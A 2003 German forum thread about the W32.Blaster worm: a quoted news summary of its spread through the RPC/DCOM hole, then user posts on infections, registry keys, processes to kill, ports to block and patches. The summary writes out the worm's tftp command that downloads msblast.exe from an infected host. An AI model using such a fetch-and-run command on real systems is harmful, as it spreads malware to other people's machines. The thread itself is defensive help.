[Druide]

Alle Schotten dicht -- W32.Blaster greift an

Der seit Tagen erwartete Wurm, der einen Fehler im RPC/DCOM-Dienst unter Windows 2000 und XP ausnutzt, ist im Internet unterwegs. Symantec taufte ihn W32.Blaster, McAfee nennt ihn W32.Lovsan. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat ebenfalls bereits eine Warnung herausgegben, siehe dazu das BSI-Advisory auf heise Security.

Auf befallenenen Systemen (A) startet der Wurm einen TFTP-Server und greift weitere Windows-Systeme (B) auf Port 135 an. War ein Angriff erfolgreich, wird der eingeschleuste Code ausgeführt, der auf System B eine Shell auf Port 4444 öffnet. System A veranlasst System B mittels TFTP (tftp <host a> get msblast.exe) die Datei msblast.exe in das Verzeichnis %WinDir%\System32 nachzuladen und zu starten. Anschließend installiert sich der Wurm auf System B, schließt Port 4444, startet einen TFTP-Server und greift weitere Systeme an.

Der Wurm versucht nach Angaben von Symantec eine Denial-of-Service-Attacke gegen windowsupdate.com durchzuführen. Als Zeitraum dafür ist der 16. August bis 31. Dezember definiert. ... weiter

... und

Nur gut das ich nen Router hab...


Ich verabscheue mich



F4r1n

nur gut das ich win98 hab


ich verabscheue nichts



IsNoGood

Ich glaub ich hab ihn endlich weggebracht! :spy:

Könnt Ihr mal hier schauen, das Thema gibt es schon.

Vielleicht weiss da gleich noch jemand eine Antwort auf meine einfache Frage.

Achja...und bei http:// nie das h vergessen...sonst geht der Link nicht! :wink:


Ich verabscheue mich



F4r1n

wie gut das ich ihn hatt!
war mein erster richiger wurm/ virus!
juhu! hehe löl!
von gestern abend bis ich dann heut um 10uhr den pathc geladen hatte & das teil nochmal so gelöscht hatte & regestrie gesäubert!
jetzt geht wieder alles! juhu

des is skynet leude, der tag des jüngsten gerichts is gekommen HAHA :eyegrazy:

Zitat von NudS

wie gut das ich ihn hatt!
war mein erster richiger wurm/ virus!
juhu! hehe löl!

Wie gut, dass ich ihn nicht bekomme, weil ich vorgebeugt habe.

Schließe mich Ossy12 an
Der Patch ist schon seit mindestens 4 Wochen draußen...

hyrican

sorry aber ich muss sagen, ich finde den kleinen fiesling klasse, es ist ja kein datenverlust in sicht, also nichts weiter wildes...

del/FTF

Danke für das Outing, Del!

Bitte diesen Mann festnehmen. :biglol:

nee ich wars nich, war in der schule und war die letzten beiden tage nicht am pc...
zu viele rennereien zur zeit :schmunze:

del/FTF

Hallö!
Ich habe folgendes Problem: in einem anderen Forum hat einer geschrieben, dass er diesen Wurm hat. Und das hänge zusammen mit der Datei tftp.exe im Verzeichnis WINDOWS/System32.
Nun, ich habe jetzt auch dieses Dingens in dem Verzeichnis. Ist das dieser Wurm? Jedenfalls hab ich mir den Patch noch runtergeladen. Nachdem ich diese .exe Datei sah.
Naja, und jetzt geht der IE nicht, und ich kann mit keinem Antivirus Programm (hab ein paar ausprobiert) updaten.
Hat das was zu bedeuten?
Oder liegts nicht daran?

Bitte antworten, ist wichtig.

@Deguchillo
Vielleicht hilft dir das: http://www.wer-weiss-was.de/theme14/article955225.html ansonsten einfach mal nach tftp.exe googeln.Glaub nicht das das was mit dem Blaster zu tun hat.

Hier mal noch die offiziellen Infos von Microsoft zur Schwachstelle die vom Blaster ausgenutzt wird: http://www.microsoft.com/germany/ms/...inms03-026.htm
Für alle die es nicht schaffen den Patch runterzuladen weil der Rechner vorher runterfährt dürfte die (eventuell temporäre) Deaktivierung von DCOM interessant sein.Ist im Link erklärt.

hyrican

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\
Run "windows auto update" = msblast.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\
Run "windows auto update" = msblast.exe I just want to say LOVE YOU SAN!! bill

den schnodder loeschen und folgende ports zumachen:

69 UDP
135 TCP
135 UDP
139 TCP
139 UDP
445 TCP
445 UDP
4444 TCP

der wurm verbreitet sich dank TFTP, so infiziert er andere systeme...
boom, alle ungepachten systeme sind betroffen...
patch besorgen und vorher alles saeubern.
es gibt auch verschiedene removaltools:

removaltool von symantec
es gibt noch weitere, aber ich denke der eine link reicht vorerst.

patch fuer die sicherheitsluecke:

patchseite von winzigweich

del/FTF

Man kann auch erstmal im Taskmanager unter "Prozesse" folgende Dateien schließen:

msblast.exe
dcom.exe
rpc.exe

Dann hat man erstmal etwas Zeit zum Surfen und Beheben und das System fährt nicht ständig runter.

edit: Achso, hat hyrican ja bereits geschrieben.

Ok, ich hab den Wurm nicht. Bin ich froh
Danke dennoch.

Noch ein paar Neuigkeiten zum Blaster:
http://www.heise.de/newsticker/data/dab-13.08.03-001/
http://www.heise.de/newsticker/data/dab-13.08.03-002/

hyrican

Habe die Artikel gelesen.

Da steht u.a., dass man noch zusätzlich die UDP- und TCP-Ports 135 bis 139, 445 und 593 dicht machen sollte. Del hatte es ja auch schon geschrieben.

Wie mache ich das? *eine-pappnase-sei*
Habe die kostenlose ZoneAlarms Firewall. (Jaja, ich weiss, dass die nichts bringen soll.)

Bisher bin ich nicht infiziert.